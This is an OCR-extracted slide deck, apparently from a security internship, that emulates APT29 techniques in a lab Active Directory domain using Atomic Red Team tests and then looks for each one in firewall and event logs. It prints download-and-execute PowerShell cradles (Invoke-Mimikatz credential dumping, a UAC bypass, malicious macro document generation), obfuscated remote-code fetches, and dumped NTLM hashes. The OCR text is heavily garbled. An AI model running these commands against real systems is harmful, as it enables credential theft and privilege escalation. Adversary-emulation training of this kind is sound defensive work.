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APT29 - MITRE ATT&CK

Assignment
APT29 TTP's
Active Directory Computers and Users
Initial Access
T1566.001 - Spearphishing Attachment
Execution
T1059.001 - PowerShell
T1047 - Windows Management Instrumentation
Persistence
T1546.008 - Accessibility Features
T1547.001 - Registry Run Keys / Startup Folder
T1053.005 - Scheduled Task
T1547.009 - Shortcut Modification
T1546.003 - Windows Management Instrumentation Event Subscription
Privilege Escalation
T1548.002 - Bypass User Access Control
Defense Evasion
T1551.004 - File Deletion
T1551 - Indicator Removal on Host
T1027 - Obfuscated Files or Information
T1218.011 - Rundli32
Lateral Movement
T1550.003 - Pass the Ticket
Command and Control
T1095 - Non-Application Layer Protocol
Tools
Mimikatz Tool
BloodHound
AutoRuns
ProcessExplorer

Assighment
Execute APT29 TTP(Tactics,Techniques and procedures) with respect to MITRE ATT&CK framework

Execute the attack with respect to link https://github.com/redcanaryco/atomic-red-
team/blob/master/atomics/Indexes/Matrices/windows-matrix.md and use the below topology for the execution.

192.168.75.20

Domain controller

192.168.75.11

105.30.40.100 105.30.40.10

o CheckPoint

192.168.75.10(Internalf

192.168.75.12
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https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Matrices/windows-matrix.md

APT29 TTP's

[ PurpleSynapz

» Advanced Persistent Threat - APT29 is a Russian Hacker group believed to be linked to the Russian Government.

e MITRE'’s Adversarial Tactics, Techniques, and Common Knowledge (MITRE ATT&CK) is an open and transparent

framework of more than 200 techniques that adversaries may use over the course of an attack.

» This framework can be used by threat hunters, red teamers and defenders to better classify attacks and assess an

organisation's risk.
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Overview of APT29 techniques in MITRE ATT&CK Navigator

o List of all 23 techniques used by APT29 Russian Threat Group.
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https://attack.mitre.org/groups/G0016/

Domain

Enterprise
Enterprise
Enterprise
Enterprise

Enterprize

Enterprise
Enterprise

Enterprice

Enterprise

Enterprise

Enterprise

Entesprise

Enterprise
Enterprize

Enterprise

Enterprise
Enterprise
Enterprise

Enferprise

Enterpnise

Enterprise

Enletprise

Enterprise

75

Ti088

T1043

T1172

203

T1107

T1070

T1188

TI027

g7

T1086

T10ED

1685

T1053

Ti064

TiG623

T1045

T1193

TI182

meas

T1204

T1047

Tice4

Adcessibilty Featuras

Bypass User Account Coatiol

Commaonly Used Port

Comain Fronting

Expladtatban for Cliem
Execution

Flie Deletion

Indicaior Removal on Host

Mult-hop Proxy

Obfuscated Files or

Information

Pass the Ticket

FowerShell

Reglstry Run Keys f Startlg

Foider

Rundiiza

Seheduled Tazk

Seripting

Sharteul Modifieation
Software Packing
Spearphishing Attachment
Bpearphishing Link
Standard Non-application
Layer Profosol

LUser Execution

Windows Manogement
Instrumentation

Windows Management

Instrumentation Everd
Subscription
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Lise

console access 1R

APT20 used sticky-keys to obtai i privileg
APT2S has bypassed UAC.H

APT29 haa used Part Humber 443 for cz 1!

APT20 has used the meek domain fronting plugin for Tor to hide the destination of £2 traffic ¥

APTZ9 has used multiple software exploits for common client software, like Microsoft Word and Adobe
Reader, 1o gain code executlon as part of [

APT29 used SDelete to remove artifacts from vietims,
APT20 used SCelete to remove artifacts from victims M

A backdoor used by AFTZ9 cregted 4 Tor hidden service to forward trame from the Tor client to local ports
338% (ROP), 139 (Melbios), and 445 (SMB) enabling full remote access from outside the network. !

APTZ5 uses PowerShell 1o use Basesd for abfuscation ]

APT2S used Kerberos ticket attacks for |ateral movement 4l

APTZ9 has used encoded F soripis upl to CozyCar to download and install

Sealuke. APT29 also used PowerShell scripts to evada defenses [FHI7

APT2S added Registiy Rin keys 1o establish persigtence

APT25 has used nundlI32.exe for execution ™
APT20 uzsed namad and hijacked scheduled tazks 1o establish persisience

APT2% has used encoded PowerShell scripts uploaded 1o CozyCar installations to dewnload and install
Sealuke, as well as to evade defenses. 514

APT20 drops @ Windows shortout file for exesution,”
APT29 used UPX to pack files
AFT29 has used spearphishing emadls with an attachment 1o deliver files with exploits to initial victims "1™

APT2E has used spearphishing with a link to trick victims inlo clcking on a link 1o a zip file conlaining
malicious files 4l

APT2% uses TCP for G2 communications.”
APT28 has ueed varigus forme of spearphishing atternpting ta get & user to open linke or sttachments,
including, but not limited to, malicious Microsoft Word documents, pdf, and Ink files 1117

APT29 used WhI 1o steal credentials and execute backdoors ata future time !9

APT2% has used WM event filters to establish persistence !

Active Directory Computers and Users

APT29 - MITRE ATT&CK
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MName
2 Administrator
2, Allowed RODC Password Replication Group

|Genela|| Members | Member Of | Managed By

52, Cert Publishers Members:

2, Cloneable Domain Controllers Name Active Directory Domain Services Folder
2, Denied RODC Password Replication Group b Y Adminisirator _intemnship.com/Users

# DHCP Administrators 2 hackerl internship.com/Users

2, DHCP Users

£ DnsAdmins

12, DnsUpdateProxy

8 Domain Admins

12, Domain Computers

£ Domain Controllers

#2, Domain Guests

£, Domain Users

52 Enterprise Admins

52 Enterprise Read-only Domain Controllers
52, Group Policy Creator Owners

2, Guest

2 hacker1

8, RAS and IAS Servers

12, Read-only Domain Controllers

82, Schema Admins

2 WinRMRemoteWMIUsers__ Security Gr.. Members of this gr...

hacker1 user - added to Domain admins

APT29 - MITRE ATT&CK 4
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0z Hm 3 aETa%

Name

8 Administrator

82, Allowed RODC Password Replication Group
2 Cert Publishers

#2 Cloneable Domain Controllers

=
o

Dial-in | Environment | Sessions | Remate control
Remote Desktop Services Profile | COM+
General | Address | Account | Profile | Telephones | Organization | Member Of

52, Denied RODC Password Replication Group Member of

5, DHCP Administrators Name Active Directory Domain Services Folder
#2, DHCP Users Domain Users  internship.com/Users

# DnsAdmins

2, DnsUpdateProxy

#2, Domain Admins
2, Domain Computers
# Domain Controllers
# Domain Guests

#2, Domain Users

82, Enterprise Admins
52 Enterprise Read-only Domain Controllers

Add... | | Remove

52, Group Palicy Creator Owners
2. Guest

2 hackerT /

2 hacker2

H,RAS and IAS Servers
#2,Read-only Domain Controllers

#, Schema Admins
#2 WinRMRemoteWMIUsers__

Primary group: Domain Users

There is no need to change Primary group unless
you have Macintosh clients or POSIX-compliant
applications.

Set Primary Group

S BT EEEEEEEEEEEEEEEEE

Cancel | | Apply | | Help

hacker2 user as a normal domain user

File Action View Help

a2 o8Bz BE 2 aETES

 Active Directory Users an(| Name Type Description
1 [ Saved Queries EWINTO-M1 Computer
4 3 internship.com EWIN-T-5P1 Computer

b B Builtin S WINDOWS-7 Computer

1 Computers
¢ (2] Domain Controllers
I (] ForeignSecurityPring
I ] Managed Service Al
71 Users

Computer objects connected to DC

APT29 - MITRE ATT&CK 5
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/

View basic information about your computer

Windows edition

Windows 10 Enterprise

© 2017 Microsoft Corporation. All rights reserved.

System
Processor:
Installed memory (RAM):
System type:
Pen and Touch:

Intel(R) Core(TM) i5-5300U CPU @ 2.30GHz 2.29 GHz (2 processors)

1.52 GB

64-bit Operating System, x64-based processor
Mo Pen or Touch Input is available for this Display

Computer name, domain, and workgroup settings

Computer name:
Full computer name:
Computer description:

Domain:

WIN10-M1
WIN10-M1.internship.com

internship.com

iew basic infarmation about your computer

Windows edition

Whndows 11} Enterprise

© 2017 Microsoft Conporation All rights resernved,

System
Processon Inted(R) Core(TM) i5-53000 CPU & 2,30GHz 229 GHz (2 procesion)
Installed memary (RAM]:  1.52 GB
Sysiem type B4-bit Dperating System, »54-based processar
Fen and Taue: Mo Pen o Teaich inpu is awailatie fof this Displzy

Computer name, domain, and werkgroup setings
Camputer name: WINTO-MT
Fulk comguter name:

WIN10-MLirternshipcom

Computer i /
Domasn: | irtesmshep com

Testing Windows 10 Machine

APT29 - MITRE ATT&CK

Windows 10

hange settings

B Local Server
= Fil it
s Al Servers d aops 1 | {8 owHee 2 ons L] S!?U?:ed;sm s 1
i§ ADDS
fi OHCE @ Manageability ® Manageabifity @ Marageahbility @ Manageability
B ONs Events Events Events
R File and Storage Services b Services Senices Senvices
Performance Performance Performarnce Py IR
o 15 Prugaty Vaus
BPA resuits BPA results BPA results Connecion-specic CNSS .
Description Inbel{R] B2574 L Gigabil Mekwark Correction
Phileal Andress O0-0G-28-37-C8-30
DHECE Enabled g
Fod Addrass 182 168 7520
Frod Suboat Mask 55UEEIEE N
I 1T Frod Dicfouh Gataway 02 ERTE 10
e s 1 § LocalServer i Al servers P DNS Servers 192 1687510
4885
- ’ - P WHE Seremn
@ Mansgeability Manageahility @ Marageability N=I0S wver Tepin Enabl Yes
Uniklocal IPYR Ackliess  TeB0 5958 6e 07 3681 B0R %12
Events Events Events P46 Detenl Gy
Senices Senices Sanvices FaE DN Barnr
Performance Performance Performarce
BPA results EPA results BPA results
[ooe |
AD DS setup with static IP
|

Windows10

GChange settings
Network Conpaction Details x
Mewodk ComnechonDetaily.
Pregery Value
Ceanectian-specific DS S
| Dmscrpbon Im=kF} BESPL Gigabk Nemork Comecion
Physical Adrress O-0G-20-30-61-B9
CHCP Enabled Mg
| Pot Adckens sz |IP- GAteway, DNS
vt Subnet Mask 2652652550
| Pt Dofault Gateway T02.168.75.10 ~
| v DS Soven 82.168.75.20

2835
| P WINS Server
| MefioS cvmr TepinEnabl. Yo
Lirklosal Bl Adckons o0 301 24k 00 206353
| B Distub Gty
6 DS Saver

64l
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HNo. Original Source Original Destinati.. Original Services Translated Source  Translated Destin... Translated Services  Install On Comme

= Original

Orrigiral = i

Attacker machine

Initial Access

T1566.001 - Spearphishing Attachment

o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1566.001/T1566.001.md

¥ Atomic Test #1 - Download Phishing Attachment - VBScript

* The below PowerShell script will download the macro-enabled Excel file that contains VBScript which when
opened will open our default browser and opens it to google.com

if (-not(Test-Path HKLM:SOFTWARE\Classes\Excel.Application)){
return 'Please install Microsoft Excel before running this test.'

}

else{
$url = 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
$fileName = 'PhishingAttachment.xlsm'
New-Item -Type File -Force -Path $fileName | out-null
$wc = New-Object System.Net.webClient
$wc.Encoding = [System.Text.Encoding]::UTF8
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::T1ls12
($wc.DownloadString("$url")) | Out-File $fileName

« This script downloaded the file but it was corrupted, | manually downloaded the file from GitHub and opened it.
« By default, Excel will block automatically running macros, we have to enable the content.

Demo

APT29 - MITRE ATT&CK 7


https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1566.001/T1566.001.md
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Clipboard | Fant EH] Alignme .
= Microsoft Office Security Options ? X =
@ Security Warning Macros have been disabled, QOptions...
e | N =
Al ~(a fo @ Security Alert - Macro
| A B | (& | D E F G| | Macro |
1 Macros have been disabled. Macros might contain viruses or other security hazards. Do not
2 enable this content unless you trust the source of this file.
3 1 Warning: It is not possible to determine that this content came from a
2 trustworthy source. You should leave this content disabled unless the content
4 provides critical functionality and you trust its source.
5 More information
6 File Path: C:\Users\hacker\Desktop\mitre\PhishingAttachment.xlsm
7 - (O Help protect me from unknown content (recommended)
8 @ [Enable this content
10 |
11|
12 |
13 |
14 |
15 |
16 |
17| Open the Trust Center ‘4&“5&’
18 T T T T
PN I R T PhishingATachment - Wicrosaft Encel
"@ Ha j == LIS
me | Insedt Page Layoat G Googie X +
2 | T
(= s cailbel A
5] 3 copy | + C' & googlecom - - ]
PaE o parmat paror (| B T =
it e Gmal Images  §i m
il -9 | |
| A B C
1| |
2| !
| |
4l 5
5 | |
B | | S
25|
= | -
o | |
10 | |
1
| | A '!H
1| |
14 |
15| | . .
i | [ Google Search I'mi Feeling Lucky
17| [
i:I | Googk offered in. =1 Warm Send ATS sulp AFUdl S0 QRW@IEe U

APT29 - MITRE ATT&CK
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5 PhishingAttachment - Microsoft Excel

Home | Insert Page Layout Formulas Data Review View
E Mot I I | ! e wo mEme o
E Microsoft Visual Basic - PhishingAttachment.xlsm

éEiIe Edit View |Insert Format Debug Run Tools Add-Ins Window Help

L SR v % G BAT s o W % & W %@z cl
AProject - VBAProject 5'
1 = |E
2 E1-& VBAProject (Phishing
— | =& Microsoft Excel Obj
3 1 Sheetl (Sheetl
4 @ ThisWaorkbook
5 | Modulas [Workbook
6 | sub Workbook Open()
7] |
8 Dim iURL
T 1 Dim objShell
10 | ?
| 1 iURL = "www.google.com"
1 Properties - Sheet! | geoed
12 | Sheetl Worksheet =] Set objshell = CreateObject("Shell.Rpplication®)
| S objShell.ShellExecute "chrome.exe", iURL, "", "", 1
13 | Alphabetic |Calegorized| ]
14 ||{Name) Sheet1 End sub
15 | |pisplayPageBre False
16 DisplayRightT o False
? | |EnableAutoFilte False
- |[EnableCalculati True
18 | |EnableFormatC True
19 EnableOutlining False
20 | |EnablepivotTat False
? | |[EnableSelectiol 0 - xINoRestri
L Sheetl
22 | [ScrollArea
23 StandardWidth 8.11
24 || visible -1 - xISheetvi
4 4 » 1
We can see the VBScript code when we edit the macro
1 Event Viewes (Loc) | Windows Powersnell  tium
» _'} Custom Views |
ke ; Windows Logs Tesk Cotegory

Il [Powe:

w [ Applications and Services Loc
i 600 Provider Lifecycl

& Hardware Events

rShel

M33PM PowerShel

(iInfarmaticn S2T/2020 1

[ Internet Explarer (D) Infarmation BRT2020 1:1133 PM PewerShell PowerShell) 400 Engine Lifecycle

| Key M ment Servi i &27/2020 11133 PM FowerShell (PowerShell) 600 Prowider Lif 3

] Key Manag ® eqyel
» [ Micosoft (i3 Informaticn H/27/2020 11133 PM PowerShell (PawerShell) 600 Provider Lifecycle

[s] Mizasoft Office Diagnos f (7) i 6/27/2020 1:1133 PM Fowershell [Powershell) 600 Frovider Lilecycle

5] Mirosoft Office Sessions || (T information 627/2020 1:1133 PM PowerShell [PowerShell) 600 Provider Lifagycle
= Windotws PowerShell (iinfarmati AZIOON 11133 PR Eoertnell (PowerShell 00 Previder lifarvcle hd
[} subscripti
B g Event 403, Powershell (Powershell) x

General  Details
HostMame=ConsoleHast -

HostVersion=5.1.15063.0

Hestic=afdbd2ch-c 117 -4c2e-b2ff-822940aff 14

HostApplication=CAWindows) 5 WL pe hell_exe -Command | f{{Get-ExecuticnPaolicy } -ne “Allsigred ) | Set-
{ExecutionPolicy -Scope Process Bypass |; & 'ChUsersihacken, Desktophmitre, Lspearfish_attack 1.ps1'

EngineVersion =5.1.15063.0

Runspaceld =40608560- 8 ad-45ba-a2ac - 2606 1edatha v
Log Mame: Windows PawerShell
Source: PawerShell (PawerShell) Logged: 6/27/2080 1:11:36 P
Event Dz am Task Catzgory:  Engine Lifecycle
Lavek: Information Keywards: Classic
User: N/A Computer: DESKTCP-GSMHSLE
OpCode

Mare Infarmation:  Event Log Online Help

We can see the PowerShell event log in event viewer

APT29 - MITRE ATT&CK 9



¥ Atomic Test #2 - Word spawned a command shell and used an IP address in the command line

« Upon executing the below script, first it will download the PowerShell script from GitHub and execute it. The script
will create a malicious word document which will spawn a command prompt and runs a command.

* We will just pass the ping command to IP 123.123.123.123

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1")
“"C:\Users\Public\art.jse " For Output As #1'n

$macrocode = Open
Shell'$ ""ping 123.123.123.123'"'n"
Invoke-MalDoc $macrocode

Demo

* 1
]

Invake-MalDac 3n

Compileted

o After executing the script successfully, we can see the ping CMD opened in the taskbar automatically.

APT29 - MITRE ATT&CK

“"WScript.Quit " n

Fie  Ediv ¥iew Toob Debug  Add-ons Help

H 4 B »|®

Lipearfish atiackigs) | Invoke-MalDocgs]
IEX {fwr “hTtp H T

i PurpleSynapz
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Invioke-MalDocps] | pre.iegps]

Invake-Ma

Compieted

B & & 8 =

« Its pinging the IP that we have given - 123.123.123.123

o < | Public
Share View
«— v > This PC > Local Disk (C) » Users * Public ~ O
Name Date modified Type Size

3+ Quick access

Public Documents File folder
m Desktop
Public Downloads File folder
& Downloads . . -
Public Music File folder
= D it - _
= Documents Public Pictures File folder
= Pictures Public Videos File folder
Adobe Trails j art i b JScript Encoded Sc... 1KB
mitre
b Music Malicious Script created
B Videos
@& OneDrive

Created the JScript object in this path

APT29 - MITRE ATT&CK 1
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Koo £ OO G

Today, 40531 P + & Ewsn (~ BFERFERFEREE scho-requast (ICMP} 1 Cleanup rule Standard - echo-request Traffic Accepted fom 192.166.75.13
93190 L om 192.168.75.13 1
%26 P + = ow 1637513 o 151
1526 T 4 &cw e Accept A v [ formis2iEE7S
Today, 40543 PM 4 ®ow echi-request Traffic Accepted from 1921687513 t0 12212312323 b icarsisiosai.
+ oW from 1921
& &nogy Detalls Matched Rules beoen 192.168.75.15.
& &cw 4 NAT b 1687503 10 151...
4 & cw i 75
il £ GW-SD Xlate (NAT] Souce IP External Public IR {105.30.40.10) LIRS
+ ©cw 192,15 19.
= (3 Today, 400:31 PV Niate (NAT) Source Fort @ e o
+ = ow P.i5a.751 2,1
223 Firewall Xlatz (MAT| Dastination Part ©
+ @cw . 168,75.13 10 52,1
Product Famiy O Access MAT Rule Paurmber 2
4+ =ow P.168.75.13 10 52,
T =, Connection AT Additional Buls Nurmb. 1
Today, 33802 FM & @ cw e W ! b 165,752 10 521
Today, 33602 O 4 & b 12218875
Py, Traffi Actions
Sail Source & 192.168.75.13 Report Log foC Poin
Source Zene Imternal
Today, 3:37:20 P + = oW P 1
Destination 123123123123 More
: H
URLs Fites Destination Zore External K 0nEIb03-0000-D0c0-5cF7-2123000._
Serace echo-request (KKMP) L2l
| Q| Q| current comecson | B . . =
s 3 otho Id Gerarated B Indaxer  false
Found () resylts (1.3 sec) First true "
Sequencentem 2
Action £ Accept KNP Echo Request
Palioy Managament aw_sD ICMP Type 2
o o WP Cnde o

Q O AllTime = | Log Fle Latest Log §

Origin

le | 192.168.75.13

‘\

Source

Destination

Sarvice Ac...

Access Rule M.,

Paliey.. Deserigtion

* We can see the ping log in the firewall

Execution

T1059.001 - PowerShell
o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T71059.001.md
¥ Atomic Test #1 - Mimikatz

e This command will download the Mimikatz and loads it completely in memory. This allows us to do things such as
dump credentials without ever writing the mimikatz binary to disk.

IEX (New-Object Net.webClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit
/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz -DumpCreds

Demo

APT29 - MITRE ATT&CK
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https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md
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LN Administrator: Windows PowerShell

bject Net.WebClient).DownloadString( A
Invoke-Mi

m1m1katz 2.2.0 (x64) #183 0 30 2019 13:01:25
La Vie, A L'Amou (
Ben'|am1n DELPY “gentil ( benjamin@gentilkiwi.com )
htt gentilkiwi.com/mimikatz
vincent LE T ( vincent. letoux@gmail.com )
> http://pingcastle.com / http://mysmartlogon.com “*

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 1810248 00 )1b9f48)
Session : Interactive from 2
User Name : hackerl
Domain : INTERNSHIP
Logon Server : BATCHGDOMAIN
Logon Time H 6;" 2020 5:25:19 PM
: 5-1-5-21-417159160-9406959-2078468059-1106

P|1ma|
1 hackerl
[):Jmam : INTERNSHIP
NTLM : 711!!11hhl¢54h69%dgcajlfhbﬁtefefﬁ
SHAL : LEET daa0aBl6dacll416c3c005bab5a
[PF'AFI £ 0T09 07590

Username : hackerl
Domain : INTERNSHIP
password : (null)
eros
Username : hackerl
Domain : INTERNSHIP.COM
* password : (null)
ssp :
credman :

Authentication Id : 0 ; 1810222 (000000 )1b9f2e) Domain and AD server Details
: Interactive from

User Name : hackerl
Domain : INTERNSHIP
Logon Server : BATLHE[N)MAIN
Logon Time H 2
SID : -21- 41715916ll 9406959-2078468059-1106
msv :
0 003] Primar
Username : 1
Domain : INTERNSHIP
NTLM : 7110118b12528e93d9ca7d78824efef6
SHA1 : ad43c0cf9b0daala816dacl11416c3c005babsa
DPAPL 1 9331f8c20f0 36dfcd3bf075
tspkg :

« After executing the command, we can see the dump NTLM hash and other details

APT29 - MITRE ATT&CK 13



N Administrator: Windows PowerShell

creaman

Authentication Id
Session
Name

n Server
Logon Time
SID

ms v

Username

Domain

NTLM

SHAL
tspki

Username
Domain
Password
eros
Username
Domain
Password
BIBYo

s5s5p

credman

Authentication Id
Session
User Name
Domain
n Server
n Time

msv :

[000 3]
Username
Domain
NTLM
SHAL

Username
Domain
Password
erberos
Username
Domain
Password
J_H$_w

ssp :
credman

¢ NTLM hash

{2] Event Viewer

File Adgion ‘View Help
= 0 HE

3| Event Viewer (Local)
F Custom YViews
v L Windows Legs

Application

Security
| Setup
System

Forwarded Events

o Hardwiare Events

Internet Explorer

i
§
T
L

Microzoft
Micro:

L
.4 Subscriptions

~ [ Applications and Services Log

] Key Mznagement Service

saft Office Alerts
Windoms Powershel|
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Windows PowerShell  Number of events:
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Kerberos Ticket
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t/>I\ivN"S(D"n(jhDwKpw

hDWKpwdc6_ZTD=

Level Date and Time

030 55555 Ph

ET(2020 55304 P

&27/2020 55304 PM
55304 Phd

GETE0E0 55304 PM

i Informaticn L

il Informatien

Sourge

PowerShell PowerShell}
PowerShell [PowerShell)

PowerShall (PowerShell)
PewwarShal | [P

FowerShel| PowerShellp

Event I Task Category
800 Provider Lifecycle
400 Engine Lifecyde
800 Provider Lifecyde
Brovider Lifecy
G0 Provider Lifecycle

Event 600, PowerShell (PowerShell)

Gereral  Detajls

SequenceNumber=2

HaestNamea=Windews PowerShall 1ISE Host
HostVersion=5.1,15063.0
Haostld =ffcB2950- cads-4dce-B230-007c670a21 Te

;i\v\umuk atz pst

EngineVersicn=

Runspaceld=
Log Mame: Windcws PowerShell
Source: PowerShell (PowerShedl) Logged:
Event ID: &00 Task Category:
Level: Information Eeywords:
Usern N Computer
OpCode:

More Information:  Event Log Online He

« We can see the PowerShell execution log in event viewer
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¥ Atomic Test #2 - Run BloodHound from local disk

* Below code will download the BloodHound PowerShell script

Invoke-WebRequest

i PurpleSynapz”

"https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566al4e2/
Ingestors/SharpHound.ps1" -OutFile "SharpHound.ps1"

() * ThisPC » Desktap * mitre ¥ execution
i Quick access
4 1.powarshallps!
i Desktop 4 2
4 Zhlocahound_localps!
& Downioads
o Ipcice- Mtz os1
4 Dacuments < 3
4 SharpHaundpst
Dich wac
. . 4+ This BC * Deskiop * mitre * execubon
A Cuick accass
o 0200627192257 BioodHound
m Deskiop
= Lpowershell.pst
# Dawnloads 2
# 1 bloodhound localgs
Dacument
Fumeni soadHound 21p
= Pictures a k- Mimika1zpst
exenan NTE] OCV MDY I WUORG 0N GUWATIIN..
 Music d SmanpHaund pst
B Videas
o Onelyive
S This PO
¥ Network

Downloaded the payload

E® Windowrs PawerShe!

AF Windows PowerShell ISE

Debug Add-ons  Help

inwnoke-Mimikatz.pat | 1powershelipsl | 2 blondhourd Socalps] ¥ | invobe-DownlosdCradie.ps1

hackerl\Desktopinitraiexecution

S P 30 = 8 |BFm

-FaregroundCalor Cyvan

Execution of payload

v2. bloodhound_Tocal.psi

« SharpHound will collect all the details of the Active Directory and create a zip file. we can import this data into
BloodHound GUI and can see the relationships between objects in AD server and can use this information to move

laterally inside the network.

.PC » Desktop > mitre > execution > 20200627192257_BloodHound

Name h Date modified Type

|| 20200627192257_computersjson 6/27/2020 7:23 PM JSON File
| | 20200627192257_domains.json /2020 T:23PM  JSON File
| | 20200627192257_gpos.json 27/2020 7:23 PM  JSON File
| | 20200627192257_groups.json 6/27/2020 T:23 PM  JSON File
|| 20200627192257_ous.json /2020 T:23PM  JSON File
| | 20200627192257 _users,json JSOM File

« Sharphound collected all the details of the Domain the user is in.

|

— (=] (%) [#=]
~ RSN
(w=] (me] (w=] (wn}

I
7
[v=]

=
s
[ws)

« When we import this data into BloodHound GUI, we can see the relationships and other details.
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m
=
=
-4

Nede info Duesie

HACKERT@INTERNSHIF.COM
Sessions

Sibling Dbjects in the Same 0U
Reachable High Value Targets
Effectiva Inbound GPOs

Domain,

ar with Trea

Hode Properties w
Display Mama hackart
Dibject ID 5-1-5-21-41 7153 160-94 0505 0501
Passward Last Changed Fn, 26
Last Logon Sat, Z7 Jun 2020 1

Last Lagen (Replicated) FHi, 26 iun 2020 07:03-08 GWT
Enabled

AdminCount
Compromised
Pasaward Mever Expires
Cannct Be Delegated
ASREP Roastable

Extra Properties v
distinguishednams

domaln

name
passwordnatregd
uneonstraineddeiagation

Group Membership v .

¥ Atomic Test #4 - Obfuscation Tests

« Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: "SUCCESSFULLY
EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

B Windows Powessneli st — i} B
- Fite Edit Wiew Tools Debug Add-ons  Help
(S o x| 9 y W | ™| & noo | e
PC ¢ Desktop * mitre ¥ execution -
4 Obfuscation Testepst X | .invoke-AppPathB sl | Invoke-Mimikatzps1 | &
B sy 3 T =
rees cer 1D tion'\Default_File_Path.ps1') |ForEach-object{[ch I
0.File]  ReadalTBytes(’ 1 Desk top'ymitretexecution'\pefault_File_Path.ps1'} ForEach-0bj

i_}13) . Invoke
=

20200627192257 _BloodHound 3 Content. InvokeCommand. Psobject.Methods 745" Nam

# 1powensnel pst

s ;Set-variable gz ( t. InvokeCommand . ({3

« 2 bioodhound local psl

« 4 Obfuscation Tests.ps1

« Ginvoke-ApoPathBypasspst

L 202 207 BloodHound zip
& Default File fathpsi

4 |mveke-Mimikstzpst
[ NTEO G WMDY MWLM DONG vl TR

# SharpHound pst

Function
You can

Function 1 A i i0 ictly ) has now been
You can ey
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5. =mO 2 smcw
Today. 15851 FM I @ N 4 @ oW
4 oW Accept
+ = 6w hittp Traffic Accepted from 1927687513 10 67.199.248.10
me " 3 ;o
e Matched Rules  Session
O\ 2 eow Log Infe AT
3 ecw Cirgin = GW-50 Mate (NAT] Soures |12
mY N 2 e Tims () Today, 1:58:54 BV Wlake {NAT) Sourea Port
\'}" .\‘ * ®avy Bade £23 Firewall Hlace (AT} Destination Porl
BON T a ey ) Aceess AT Al Paarmber
me " 2 e . . "
i e Type *._ Connection MAT Acditional Rule Num...
Teezy, 153:00 P = o & Cw]
Today, 15300 PM WMo 4oy .
AIERES Ry Traffic Actions
; Source @ WIN1O (182.188.75.13) Koot
Today. 15256 P + = oW R s
URLs Fles Source Zane Imternal ‘/ tMore
Destinztion W
Ol G | K | Cuent Connecior Destination Zore External
Fourd 0 resulls (24 sec) Service http (TCR/801 i Generated By ndeser
Protocel HTTR First
Initerfze & ethd i e i
Conraciion Dirsctian Outgoing Meeds Brawse Time
Hll Kay

O, O anTime = | Leg file: tatau Log File

192.168.75.13

Acces Rule N..
Cleanup nie

Cleanu ik

o

Policy..  Deseription

Standard

Standard

A v h B

External Pubslic 1P (105,30.40,10)
26708

q

2

1

PurpleSynapz

hittes Traffic Acrapted from 1821667513 to..
bittgs Traffic Accepted from 1521667513 to..
I e o 192168

fepted from 192168
fepted from 192166

[epted from 192166

fepted froem 192168
feptod from 192166
Jepted from 152166,
foptad from 192166
o 1921667593 to.
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fom 192.1 513t
epted from 102168
fopted from 192168

Jeiited froen 192166

Accept
http Traffic Accepted from 192.168.75.13 to 67.199.248.10

Details Matched Rules

Additional Categories

Application Risk

Application Description

Traffic

Source

Source Zone
Destination
Destination Zone
Service

Protocol
Interface

Connection Direction

Session
Creation Time

Last Update Time

[RTRPEEE

Session

Business / Economy, S5L Protocol, V...

more

EY Very Low

Bitly is a URL shortening service. Bit..

more

& WIN10 (192.168.75.13)
Internal

=] bit.ly (67.199.248.10)
External

http (TCP/80)

HTTP

& eth0

Qutgoing

Today, 1:58:54 PM

Today, 1:59:49 PM

AN N1 N0

Browse Time

Web Traffic

Resource

Method

Actions

Report Log

More

Id

Id Generated By Indexer
First

Sequencenum

HIl Key

Application 1D
Application Signature ID

Last Update Time

00h 00m 53s

http://bit.ly/L3g1tCradie

GET

Report Log to Check Point

~

c0a84h0a-ba16-0000-5f2-54c6000...

more

false

false

2

757577999594141898

60518370

60518370:4

2020-06-28T08:29:54Z
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« Session details - URL and HTTP Method

¥ Atomic Test #6 - Invoke-AppPathBypass
* Bypasses UAC by abusing the App Path key for control.exe
IEX (New-Object Net.webClient).DownloadString
('https://raw.githubusercontent.com/enigma®x3/Misc-PowerShell-Stuff

/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.psl');
Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'

« When executed will start cmd.exe in a high-integrity context.

File  Edet Wiew Tools Debug  Add-ans  Help
b g »

40bfuscation Testsgsl | Ginvoke-AppPaihiypes.pst ®

IEX {%ew-Object Net.webCTient). Downloadstring( 'https: //raw, githubusercontent. confeni gralx3 Nisc

PowershelT-5tuff ald|

Complaterd Ln5 Cof22

51 FM

T1047 - Windows Management Instrumentation
« https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/T1047.md

WMI is used to manage devices and applications across corporate networks. We can use it to interact with local and
remote systems. For local communication it relies on WMI service and for remote access we use Server Message
Block (SMB) and Remote Procedure Call Service (RPCS).

+ WMI allows scripting languages (such as VBScript or Windows PowerShell) to manage Microsoft Windows personal
computers and servers, both locally and remotely.

» Microsoft also provides command-line interface to WMI called Windows Management Instrumentation Command-
line (WMIC)

¥ Atomic Test #1 - WMI Reconnaissance Users

e An adversary might use WMI to list all local User Accounts.

wmic useraccount get /ALL

Dizablad Domai FullMame InstallDate Loealleceount
nt for administering the computer/domain TRUE
ount managed the . TRUE

Built-in account for guest to the computer/domain TRUE WINl@-
FALSE WIN1@-M1
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Lockout Name PasswordChangeable PasswordEx |':-'i res PasswordReguired

51DType Status
FALSE ator TRUE S TRUE 1 Degraded
FALSE TRUE FALSE FALSE T 9 HesTI1a 1 Degraded
FALSE FALSE FALSE FALSE 27418 3.
re

